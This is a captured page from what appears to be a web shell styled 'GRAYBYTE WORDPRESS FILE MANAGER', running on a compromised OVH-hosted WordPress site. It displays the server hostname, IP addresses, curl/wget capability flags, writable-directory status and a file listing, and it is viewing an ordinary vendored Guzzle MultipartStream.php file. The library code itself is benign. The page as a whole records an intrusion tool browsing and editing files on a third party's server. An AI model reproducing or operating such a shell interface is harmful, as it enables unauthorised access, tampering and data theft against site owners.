✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/hg-repository/src//MultipartStream.php
<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Stream that when read returns bytes for a streaming multipart or
 * multipart/form-data stream.
 */
final class MultipartStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    use StreamDecoratorTrait;
    /** @var string */
    private $boundary;
    /** @var StreamInterface */
    private $stream;
    /**
     * @param array  $elements Array of associative arrays, each containing a
     *                         required "name" key mapping to the form field,
     *                         name, a required "contents" key mapping to a
     *                         StreamInterface/resource/string, an optional
     *                         "headers" associative array of custom headers,
     *                         and an optional "filename" key mapping to a
     *                         string to send as the filename in the part.
     * @param string $boundary You can optionally provide a specific boundary
     *
     * @throws \InvalidArgumentException
     */
    public function __construct(array $elements = [], ?string $boundary = null)
    {
        $this->boundary = $boundary ?: \bin2hex(\random_bytes(20));
        $this->stream = $this->createStream($elements);
    }
    public function getBoundary() : string
    {
        return $this->boundary;
    }
    public function isWritable() : bool
    {
        return \false;
    }
    /**
     * Get the headers needed before transferring the content of a POST file
     *
     * @param string[] $headers
     */
    private function getHeaders(array $headers) : string
    {
        $str = '';
        foreach ($headers as $key => $value) {
            $str .= "{$key}: {$value}\r\n";
        }
        return "--{$this->boundary}\r\n" . \trim($str) . "\r\n\r\n";
    }
    /**
     * Create the aggregate stream that will be used to upload the POST data
     */
    protected function createStream(array $elements = []) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        $stream = new \YoastSEO_Vendor\GuzzleHttp\Psr7\AppendStream();
        foreach ($elements as $element) {
            if (!\is_array($element)) {
                throw new \UnexpectedValueException('An array is expected');
            }
            $this->addElement($stream, $element);
        }
        // Add the trailing boundary with CRLF
        $stream->addStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor("--{$this->boundary}--\r\n"));
        return $stream;
    }
    private function addElement(\YoastSEO_Vendor\GuzzleHttp\Psr7\AppendStream $stream, array $element) : void
    {
        foreach (['contents', 'name'] as $key) {
            if (!\array_key_exists($key, $element)) {
                throw new \InvalidArgumentException("A '{$key}' key is required");
            }
        }
        $element['contents'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($element['contents']);
        if (empty($element['filename'])) {
            $uri = $element['contents']->getMetadata('uri');
            if ($uri && \is_string($uri) && \substr($uri, 0, 6) !== 'php://' && \substr($uri, 0, 7) !== 'data://') {
                $element['filename'] = $uri;
            }
        }
        [$body, $headers] = $this->createElement($element['name'], $element['contents'], $element['filename'] ?? null, $element['headers'] ?? []);
        $stream->addStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($this->getHeaders($headers)));
        $stream->addStream($body);
        $stream->addStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor("\r\n"));
    }
    /**
     * @param string[] $headers
     *
     * @return array{0: StreamInterface, 1: string[]}
     */
    private function createElement(string $name, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, ?string $filename, array $headers) : array
    {
        // Set a default content-disposition header if one was no provided
        $disposition = self::getHeader($headers, 'content-disposition');
        if (!$disposition) {
            $headers['Content-Disposition'] = $filename === '0' || $filename ? \sprintf('form-data; name="%s"; filename="%s"', $name, \basename($filename)) : "form-data; name=\"{$name}\"";
        }
        // Set a default content-length header if one was no provided
        $length = self::getHeader($headers, 'content-length');
        if (!$length) {
            if ($length = $stream->getSize()) {
                $headers['Content-Length'] = (string) $length;
            }
        }
        // Set a default Content-Type if one was not supplied
        $type = self::getHeader($headers, 'content-type');
        if (!$type && ($filename === '0' || $filename)) {
            $headers['Content-Type'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromFilename($filename) ?? 'application/octet-stream';
        }
        return [$stream, $headers];
    }
    /**
     * @param string[] $headers
     */
    private static function getHeader(array $headers, string $key) : ?string
    {
        $lowercaseHeader = \strtolower($key);
        foreach ($headers as $k => $v) {
            if (\strtolower((string) $k) === $lowercaseHeader) {
                return $v;
            }
        }
        return null;
    }
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Sep 2026 9.57 PM
docteuh / users
0755
Exception
--
13 Sep 2026 8.48 PM
docteuh / users
0755
AppendStream-20260913132742.php
5.887 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
AppendStream.php
5.887 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
BufferStream-20260913132738.php
3.204 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
BufferStream.php
3.204 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
CachingStream-20260913132725.php
4.691 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
CachingStream.php
4.691 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
DroppingStream-20260913132743.php
1.261 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
DroppingStream.php
1.261 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
FnStream.php
4.264 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Header.php
3.86 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
HttpFactory.php
3.952 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
InflateStream-20260913132721.php
1.607 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
InflateStream.php
1.607 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
LazyOpenStream-20260913132725.php
1.219 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
LazyOpenStream.php
1.219 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
LimitStream.php
4.201 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Message.php
8.406 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
MessageTrait.php
7.587 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
MimeType.php
44.165 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
MultipartStream-20260903205636.php
5.244 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
MultipartStream.php
5.244 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
NoSeekStream-20260913132739.php
0.576 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
NoSeekStream.php
0.576 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
PumpStream.php
4.615 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Query-20260911053351.php
4.019 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Query.php
4.019 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Request-20260831062258.php
4.097 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Request.php
4.097 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Response.php
4.413 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Rfc7230.php
0.65 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ServerRequest-20260913132743.php
9.653 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ServerRequest.php
9.653 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Stream.php
7.303 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
StreamDecoratorTrait.php
3.364 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
StreamWrapper-20260913132722.php
4.193 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
StreamWrapper.php
4.193 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
UploadedFile-20260913132738.php
5.025 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
UploadedFile.php
5.025 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Uri.php
21.741 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
UriNormalizer-20260913132741.php
8.439 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
UriNormalizer.php
8.439 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
UriResolver.php
8.696 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Utils-20260911053355.php
15.894 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Utils.php
15.894 KB
23 Jun 2026 6.20 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF